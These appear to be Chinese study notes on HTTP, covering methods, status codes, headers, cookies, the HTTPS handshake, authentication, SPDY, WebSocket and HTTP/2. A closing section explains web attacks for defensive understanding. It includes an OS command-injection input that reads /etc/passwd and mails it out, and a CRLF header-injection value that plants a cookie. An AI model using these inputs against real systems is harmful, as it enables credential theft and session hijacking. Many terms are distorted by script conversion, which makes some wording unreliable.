天天看點

HTTPHTTP概述HTTP中的方法HTTP狀态碼為HTTP服務的那些Web伺服器HTTP首部字段HTTPS身份認證方式基于HTTP的功能增加協定們HTTP/2.0Web的攻擊技術

HTTP概述

HTTP協定規定,一定是用戶端開始建立通信的,也就是說請求一定是從用戶端發出,伺服器端響應請求,伺服器端在沒有接收到請求的時候是不會有響應的。

HTTP的請求封包由以下幾部分構成:

方法 URI 協定版本

POST /form/entry HTTP/1.1

請求首部字段

Host :baidu.com

Connection:keep-alive

Content-Type:application/……

Content-Length:16

請求實體

name=asdf&age=32

HTTP的響應封包則由以下幾部分構成:

伺服器端協定版本 狀态碼 狀态碼描述

HTTP/1.1 200 OK

響應首部字段

Date:Tue, 10 Jul 2010 06:50:15 GMT

Content-Length:2134

Content_Type: text/html

主體

<’html’>……………

HTTP是無狀态協定,即每次有新的請求就會産生新的響應

HTTP1.1中所有的連接配接預設都是持久連接配接,即隻要任意一端沒有提出斷開連接配接,則保持TCP連接配接狀态。這樣所有的HTTP請求就可以在一個TCP連接配接中同時發送,不必每次都要等待上一個TCP的回應了。

HTTP中的方法

  • GET 用來請求通路已經被URI識别的資源,指定的資源經過伺服器解析後傳回響應的内容。GET方法是預設的HTTP請求方法,然而用GET方法送出的表單資料隻經過了簡單的編碼,同時它将作為URL的一部分向Web伺服器發送,是以,如果使用GET方法來送出表單資料就存在着安全隐患,同時送出的資料量不能太大。
  • HEAD 類似于get請求,隻不過傳回的響應中沒有具體的内容,用于擷取報頭
  • POST 向指定資源送出資料進行處理請求(例如送出表單或者上傳檔案)。資料被包含在請求體中。POST請求可能會導緻新的資源的建立和/或已有資源的修改。
  • PUT 從用戶端向伺服器傳送的資料取代指定的文檔的内容。
  • DELETE 請求伺服器删除指定的頁面。
  • CONNECT HTTP/1.1協定中預留給能夠将連接配接改為管道方式的代理伺服器。格式為:CONNECT 代理伺服器名 :端口号 HTTP版本在代理伺服器響應請求後即進入網絡隧道。
  • OPTIONS 允許用戶端檢視伺服器支援哪些請求方法。
  • TRACE 回顯伺服器收到的請求,主要用于測試或診斷。請求可能會到達多個伺服器。這個TRACE請求就會在到達每一個伺服器時發回本伺服器收到的請求。

HTTP狀态碼

狀态碼的第一位代表狀态碼的類别,這個是強制标準。後兩位有一些有約定俗稱的規定最好遵守,剩下的伺服器自己建立自己要用的狀态碼都沒有問題。

- 2XX 成功:代表伺服器接收到的請求已經成功處理。204:無可傳回内容;206:接受到對資源一部分内容的請求。

- 3XX 重定向:代表浏覽器的請求需要做一些調整。301:永久性重定向,表示現在所請求的資源已經永久的被配置設定到新的URI;302:臨時性重定向;303:目前請求的資源存在着另外一個URI,希望浏覽器以GET方法重定向到另一個URI上;304:當用戶端發送附帶條件的請求時,伺服器端資源已經找到,但是并不符合條件(比如請求某一時間後更新的頁面,但是伺服器在這個時間點後并沒有更新過頁面,那麼傳回304,浏覽器就可以使用自己的緩存了);307:和302差不多;

- 4XX 用戶端錯誤:代表是用戶端的請求出現了問題。401:表示通路需認證;403:表示通路被拒絕;404:沒有這個資源。

- 5XX 伺服器端錯誤。500:内部錯誤,伺服器内有bug或者什麼臨時故障;503:超載或正在維護。

為HTTP服務的那些Web伺服器

http伺服器可以搭建多個Web站點,每一個Web站點對應一個虛拟主機,這些站點可以有不同的域名。當DNS解析這些域名的時候,都會指向同一個伺服器的IP,伺服器通過HTTP請求中的Host首部中的完整域名來把請求發送到不同的虛拟主機。

與之配合的還有代理,網關,隧道,緩存伺服器等。

HTTP首部字段

在HTTP封包中首部字段是很重要的,給用戶端和伺服器提供了傳輸和處理資料的重要資訊。在HTTP請求封包中有:請求行(方法、URI、HTTP版本)、請求首部字段、通用首部字段、實體首部字段。在HTTP響應封包中有:狀态行(HTTP版本、狀态碼)、響應首部字段、通用首部字段、實體首部字段。

端到端首部和逐跳首部

端到端首部會轉發給請求或響應的最終接收目标,逐跳首部則在單次轉發中有效。

各首部字段的較長的描述

上面的連結供大家參考

詳細記錄一下有關cookie的首部字段,在伺服器準備開始管理用戶端狀态的時候,就會發送set-cookie字段給用戶端。set-cookie有這麼幾個屬性:

  • NAME:賦予cookie的名稱和其值。這是set-cookie裡唯一一個必須要有的項
  • expires:cookie的有效期,如果不指定就預設隻在這一個浏覽器回話内有效,也就是在浏覽器被關閉之前
  • path:這個屬性用來限制cookie發送到伺服器上的哪個目錄,比如path=/foo,那麼在通路www.XXXX.com/foo的時候cookie會被發送
  • domain:指定cookie被發送到哪台計算機上。正常情況下,cookie隻被送回最初向使用者發送cookie 的計算機。如果你設定了domain,cookie 會被發送到任何在這個域中的主機。如果domain 被設為空,domain 就被設定為和提供cookie 的Web 伺服器相同。如果domain不為空,并且它的值又和提供cookie的Web伺服器域名不符,這個Cookie将被忽略。
  • secure:這個屬性被設定意味着cookie隻能通過https發送
  • HttpOnly:這個屬性使javascript無法獲得Cookie,進而防止XSS跨站腳本攻擊對Cookie的擷取。

    用戶端在通路網站時如果發現符合已經收到的set-cookie裡的要求的url,就會把收到的cookie發送回去

HTTPS

HTTP存在的問題

使用明文進行通信,内容會被竊聽

在現有的網絡架構下,人們可以從網際網路的任何一個節點擷取到流經這個節點的HTTP請求。内容如果是不加密的,那就意味着你的資訊并不安全。解決辦法就是使用内容加密。現在使用的最廣泛的就是SSL加TLS。

不驗證通信方的身份,可能遭遇僞裝

任何人都可以送出請求,任何人都可以攔截請求發出響應。對此的辦法就是使用第三方頒發的證書來驗證伺服器和用戶端的身份。

無法驗證封包的完整性,有可能在發送的過程中已經遭到篡改

僅靠HTTP協定來保證封包的完整性是不現實的,需要和其他協定共同工作。

HTTPS=HTTP+加密+認證+完整性保護

SSL

SSL為HTTP提供了以上所有問題的解決方案。

以前資料通過HTTP->TCP->IP的處理,現在則多了一層HTTP->SSL->TCP->IP。

SSL并非是HTTP獨占,在很多其他的網絡應用中同樣可以使用。

共享密鑰和公開密鑰

共享密鑰是通過相同的密鑰來對資料進行加密和解密,這就涉及到一個密鑰傳輸的問題,如果使用相同的密鑰進行加密解密,就勢必意味着密鑰要在加密和解密的雙方進行傳遞。那麼如果我可以安全的進行密鑰的傳輸,我就也能安全的傳輸資料,就不需要加密了。反之,加密也沒用。

于是就有人開發出了公開密鑰加密體系。在這個體系中,加密使用的密鑰是公開的,使用公鑰進行加密後,使用不公開的私鑰進行解密。這樣一來,資訊的接收方把公鑰釋出在網上而私鑰自己持有,資訊的發送方使用公鑰進行資料的加密并發送,接收方使用自己的私鑰進行解密。就解決了這個問題。

不過這樣的機制存在兩個問題,一個是公鑰的合法性。我們不知道這個公鑰是不是真正的資訊接收方發送的真正的密鑰。二是如果每次通信都使用這樣的方法進行加密開銷很大。

對于第二個問題HTTPS的解決辦法是使用公開密鑰傳送共享密鑰,以後雙方的通信使用共享密鑰加密。

第一個問題就是使用證書了。

公開密鑰證書

公開密鑰證書是由可信賴的第三方權威機構頒發的。伺服器營運的公司會向這些機構申請公鑰證書,申請下來的證書包括這個公鑰和認證機構使用自己的私鑰制作的數字簽名。在用戶端收到這個公鑰證書的時候,就使用權威機構的公鑰來解密這個證書,解密成功了就認為這個公鑰是可信的。這就又有一個問題,這個權威機構的公鑰怎麼傳輸,解決辦法就是将各常用認證機構的證書事先放在浏覽器中。

當然為了确認用戶端的身份也有用戶端證書,幫助伺服器端來确認這個用戶端始終是這個用戶端。因為費用和便利性等問題,這個證書隻用在安全性較高的應用中,比如網銀。

Message Authentication Code

這是在整個HTTPS會話中,應用層在發送封包時為封包加上的封包摘要。簡稱MAC,MAC能夠查知封包是否被遭到篡改,進而保護封包的完整性。

HTTPS通信步驟

  1. 用戶端通過發送Client Hello封包來開始SSL通信,封包中包含用戶端支援的SSL版本,一個用戶端生成的随機數(Client random),加密元件(算法及密鑰長度等)。
  2. 伺服器可進行SSL通信時,發送Server Hello封包作為應答,在封包中發送伺服器端的SSL版本和經過篩選的加密元件以及一個伺服器生成的随機數(Server random)。
  3. 伺服器發送Certificate封包,包含公鑰。
  4. 伺服器發送Server Hello Done,SSL最初握手協商部分結束。
  5. 用戶端收到公鑰證書,驗證成功後取出公鑰,使用公鑰對自己剛生成的pre-master secret随機密碼串進行加密,并放在Client Key Exchange封包中發送給伺服器端。
  6. 用戶端發送Change Cipher Spec封包,提示伺服器以後所有的封包都通過pre-master secret随機密碼串進行加密。
  7. 用戶端發送Finished封包,包含之前所有封包的整體校驗值,伺服器必須正确解密這個封包,握手才成功。
  8. 伺服器也會發送Change Cipher Spec,Finished封包。
  9. 雙方的Finished封包交換完畢後,握手成功,用戶端和伺服器使用以上三個随機數生成接下來所有SSL通信使用的session key。

身份認證方式

這是伺服器端認證用戶端的方式。

BASIC認證

這個認證就是在收到伺服器傳回的401需要授權狀态碼的時候将使用者輸入的ID和密碼用Base64方式編碼後發送給伺服器。這種編碼方式基本就是明文,很不安全。

DIGEST認證

這種認證辦法就稍微安全一些,在伺服器收到用戶端的請求後,随401傳回一個臨時質詢碼。用戶端根據這個臨時質詢碼,使用者的密碼及相應的算法生成響應碼發回給伺服器端。相對來說安全了一些,不過隻是防止了密碼被竊聽。并不能防止使用者僞裝。也就是說,如果使用者的使用者名和密碼被盜,就沒有辦法阻止第三方冒充。

SSL認證

這裡說的是SSL用戶端認證。首先需要将用戶端證書分發給客戶且用戶端安裝了這個證書。通信時伺服器會以Certificate Request封包要求用戶端提供用戶端證書,使用者選擇發送後就會把證書以Client Certificate封包方式發送給伺服器,伺服器确認證書無誤後領驗證書中的公鑰開始HTTPS通信。

一般SSL認證都采取密碼加證書的方式來驗證。也就是驗證規定的人在規定的用戶端登入。

基于表單的認證及Session管理

由于BASIC與DIGEST并不安全,SSL又有較高的購買證書的成本。是以大多數的Web應用都使用基于表單的認證。

用戶端将使用者填的表單放在封包的實體部分,通常以POST請求發送給伺服器。當然這裡的資料交換是使用HTTPS的。

伺服器端驗證用戶端發來的登入資訊,然後把使用者的認證狀态和SessionID綁定後紀錄在伺服器端,向用戶端傳回響應時将SessionID放在Set-Cookie中傳回。SessionID必須妥善傳輸與儲存,别人拿到了SessionID就相當于拿到了你的通行證。保證SessionID安全的措施有:SessionID有有效期;SessionID生成的時候很複雜;使用HTTPS傳送;在Cookie上加入httponly屬性防止JS擷取Cookie防止XSS。

用戶端拿到SessionID後會存下,下次向這個伺服器發送請求時會帶上這個SessionID。

關于伺服器端密碼的儲存

伺服器儲存客戶的密碼通常先給密碼加鹽,在用hash函數計算出散列值之後儲存。加鹽就是随機生成一個足夠長的字元串,與密碼串進行拼接。這樣就算兩個人或同一個人在不同網站的密碼相同,加鹽後也不同了。

基于HTTP的功能增加協定們

HTTP的瓶頸

  • 一條連結上隻能發送一個請求
  • 請求隻能從用戶端開始,用戶端隻能接收響應
  • 首部冗長,重複,非強制壓縮

Ajax

Ajax的核心就是使用JS語句調用XMLHttpRequest的API直接與伺服器進行HTTP通信。這樣就能從加載完畢的頁面向伺服器發起請求,隻更新局部頁面。但是這并沒有解決HTTP本身的問題,每一次Ajax請求依舊存在着上述問題。

Comet

用戶端向伺服器發送确認是否有更新内容的請求,伺服器不會進行立即的響應,而是等着内容真的有更新的時候将響應發回,理論上做到了實時更新内容,但是為了保留響應,一次連接配接的時間變長了,期間為了維持連接配接也消耗了更多的資源。仍未解決HTTP的根本問題。

SPDY

HTTP的根本性改善一定是在協定層面上的。Google提出來SPYD。SPYD并未完全改寫HTTP隻是在HTTP(應用層)和SSL(表示層)之間加了SPYD(會話層)。SPYD提供了以下幾個功能:

  • 多路複用:通過單一的TCP連接配接可以并發處理無限制個HTTP請求
  • 賦予請求優先級:給請求逐個配置設定優先級
  • 壓縮HTTP首部:減少通信位元組
  • 推送功能:支援伺服器主動向用戶端推送資料,不必等待用戶端請求
  • 伺服器提示功能:伺服器可以主動提示用戶端請求某些資源,并提前緩存資源

WebSocket

WebSocket是一套新的協定及API。實作Web伺服器與Web浏覽器的全雙工通信。一旦伺服器與用戶端之間建立起來WebSocket的連接配接,之後所有的通信都通過這個專用協定進行。可以互相發送JSON,XML,HTML或圖檔等任意格式的資料。WebSocket是建立在HTTP基礎上的協定,是以連接配接的發起方仍然是用戶端。一旦确立WebSocket連接配接,任意一方都可以直接向對方發送封包。

為了實作WebSocket通信,需要在用戶端發送請求時在HTTP的Upgrade字段寫上協定的變化:

Upgrade: web socket

Sec-WebSocket-Key:odhfiwfiqugwefhnwloihbi==

Sec-WebSocket-Protocol:chat,superchat

Sec-WebSocket-Version: 13

伺服器收到這樣的請求時傳回101協定改變狀态碼,以及相應字段的值。

這樣就算握手成功了,之後通信采用WebSocket獨立的資料幀。

JS可以調用WebSocket API

var socket = new WebSocket('ws://game.example.com:12010/updates');
socket.onopen = function(){
    socket.send(getUpdateData());
};
           

HTTP/2.0

HTTP/2.0主要圍繞7項技術來進行讨論。以三個協定為基礎:SPYD、HTTP Speed+Mobility和Network-Friendly HTTP Upgrade。

  • 壓縮:SPYD、Network-Friendly HTTP Upgrade
  • 多路複用:SPYD
  • TLS義務化:HTTP Speed+Mobility
  • 協商:HTTP Speed+Mobility、Network-Friendly HTTP Upgrade
  • Client Pull/Server Push:HTTP Speed+Mobility
  • 流量控制:SPYD
  • WebSocket:HTTP Speed+Mobility

在HTTP/2.0中,并不會改變現有的HTTP 語義,HTTP 方法、狀态碼、URI 及首部字段。主要将改變聚焦在性能的提高上:改進傳輸性能,實作低延遲和高吞吐量。對于應用的開發者來說這是好事,意味着并不用修改很多就可以用上性能更高的新一代協定。

二進制分幀

2.0最核心的性能增強在二進制分幀,它将所有傳輸的資訊分割為更小的消息和幀并采用二進制格式的編碼,其中1.0中國的首部會被封裝到Headers幀,請求和響應實體會被封裝到data幀。所有通信在一個連接配接上完成,這個連結可以承載任意數量的雙向資料流,每個資料流以消息的形式發送,消息由一個或多個幀組成,幀可以亂序發送,最後根據每個幀首部的辨別符重新組裝。這就意味着每個二進制幀都要有頭部資訊,否則最後無法組裝。那麼首部就需要壓縮優化,否則。。。。。

首部壓縮

在2.0中,伺服器和用戶端同時使用首部表來維護首部的鍵值對,每次通信隻發送與上次首部中内容不一樣的部分,是以像是使用者代理等等幾乎不會發生變化的首部内容隻發送一次,這也就意味着有時首部的開銷是0哦。

一個連接配接處理所有請求

比如你請求一個頁面,這個頁面上所有的HTTP請求都是在這一個TCP連接配接中完成的。

還記得合并檔案和Sprite合圖嘛,就是把小js和css檔案合在一個檔案裡,各種小圖合在一個Sprite圖裡,以減少HTTP請求。這個在HTTP/2.0裡再也不用管啦~

TCP在長時間傳輸大塊資料時效率比較高,然而HTTP的特點是突發,資料量小。這時為每個HTTP通信建立一個TCP連接配接顯然就不劃算了,要有效的使用TCP連接配接,就将HTTP通信放在一個連接配接裡咯。這樣做就使上面這類資源合并減少請求的優化手段顯得沒有必要了。

并行雙向位元組流的請求和響應

在HTTP/2.0上,用戶端和伺服器可以把HTTP消息分解為互不依賴的幀,然後亂序發送,最後再在另一端把它們重新組合起來。這也就意味着:可以并行交錯地發送請求,請求之間互不影響。可以并行交錯地發送響應,響應之間互不幹擾。隻使用一個連接配接即可并行發送多個請求和響應。消除不必要的延遲,進而減少頁面加載的時間。

請求優先級

在亂序發送請求和響應的過程中,有時你想要優先收到某些響應,比如先收HTML檔案再收img,這時你就可以将HTML的優先值設高一點。但這個優先并不是絕對的,隻是會在有條件的情況下優先,否則就又成了順序請求進而造成阻塞了。

伺服器推送

HTTP/2.0中伺服器可以對一個用戶端請求發送多個響應,這也就意味着伺服器可以額外像用戶端推送資源。

Web的攻擊技術

輸出值轉義不完全

跨站腳本攻擊

說白了就是通過在通路有漏洞的網站的使用者的浏覽器中運作非法的HTML标簽或者JS代碼。通常通過使用者輸入或URL請求動态建立的HTML頁面容易出現這個漏洞。攻擊者可以誘騙使用者發送含有惡意代碼的URL,在使用者得到傳回的HTML時,惡意代碼也就運作了。

SQL注入攻擊

和上面的原理差不多,有的網站将URL的參數作為查詢條件等直接寫入SQL語句。這樣通過巧妙的拼湊可能會使伺服器執行不應執行的操作。

OS指令注入攻擊

有的Web應用是可以通過調用Shell指令來執行作業系統指令的。這時如果不注意的話,有可能會被強行植入惡意OS指令。

比如一個郵件應用,執行這個指令:

open(MAIL,"| /usr/sbine/sendmail $adr")//其中$adr是使用者輸入的郵件位址
           

攻擊者如果輸入這麼一段位址:

; cat /etc/passwd | mail [email protected]
           

而伺服器端并沒有驗證這是否是一個有效的Email位址就直接執行時,這個指令就變成了這樣:

含有賬戶資訊的/etc/passwd就被發到指定檔案夾了。

HTTP首部注入攻擊

顧名思義就是修改HTTP首部的攻擊。原理也很簡單,利用有些Web應用會使用URL參數或使用者輸入來生成HTTP首部的某些字段,攻擊者在這些值後面加上“%0D%0A”也就是換行符,再跟上惡意頭部鍵值對,比如”Set-Cookie:+SID=134”,那麼首部就被插入了一個意外值。在這裡,使用者的Cookie被設定為了攻擊者想設定的值,為會話固定攻擊打下了基礎。

HTTP響應截斷

剛才是插入一個換行符,如果插入兩個,就可以僞造響應主體部分了。

郵件首部注入攻擊

如果在郵件位址欄填入[email protected]%0D%0AText Message,就把郵件内容改為了Text Message。和HTTP首部注入一個原理。利用換行符代表分隔符這個特性。

目錄周遊攻擊

有些時候Web應用通過使用者指定的目錄來通路資源,這裡一不注意就可能被發現可以使用../等操作符通路到不想開放的目錄上。

遠端檔案包含漏洞

這是老版本PHP的漏洞,原理就是使用PHP的include可以包含跨域的檔案這個特性,将惡意代碼包含進來。

設定或設計上的缺陷

強制浏覽

這個就是說有一些資源是通過認證的使用者才可以浏覽的,比如一片私人的部落格,但是裡面的圖檔,如果你能得到它的URL,直接通路這個URL就能通路到這張本來是需要授權才能看的圖檔。

不正确的錯誤消息處理

有些報錯是不需要對使用者顯示的,比如資料庫語句錯誤,伺服器錯誤等。對使用者沒用,但有心人 可能會以此推斷出潛在的漏洞。

開放重定向

網站如果開放重定向功能就意味着可以跳轉到任意指定的URL。這就可能被利用跳轉到惡意網站。

會話管理疏忽

會話劫持

通過XSS等攻擊從使用者的Cookie裡盜取會話ID,利用此會話ID僞裝成使用者。

會話固定攻擊

強制使用者使用攻擊者指定的會話ID。首先攻擊者通路伺服器拿到一個會話ID,此時這個ID還沒有認證,将這個會話ID強制給使用者A(HTTP頭部注入攻擊之前提到過),使用者A在不知情的情況下使用這個ID到伺服器認證,使用者A和這個ID綁定了,之後攻擊者就可以使用這個ID來冒充使用者A了。

跨站點請求僞造

攻擊者通過以設定好的陷阱,強制對已完成的使用者進行非預期的操作。比如通過已經認證的使用者登入他的帳号發評論等等。被攻擊的使用者擁有合法的會話ID,攻擊者通過篡改使用者的HTTP請求,利用使用者的合法ID做出操作。

其它

密碼破解

試錯:窮舉法,字典攻擊;

對已加密密碼的破解:

已加密的意思是攻擊者擷取到了直接算了散列的密碼或加鹽散列的密碼。

通過窮舉,字典來算散列對照;

彩虹表直接對照

拿到密鑰

加密算法漏洞

點選劫持

利用透明頁面,誘使使用者點選看不到的按鈕

DoS攻擊

大量合法請求使伺服器停止服務,多台計算機發起的就是DDoS

後門程式

啊哦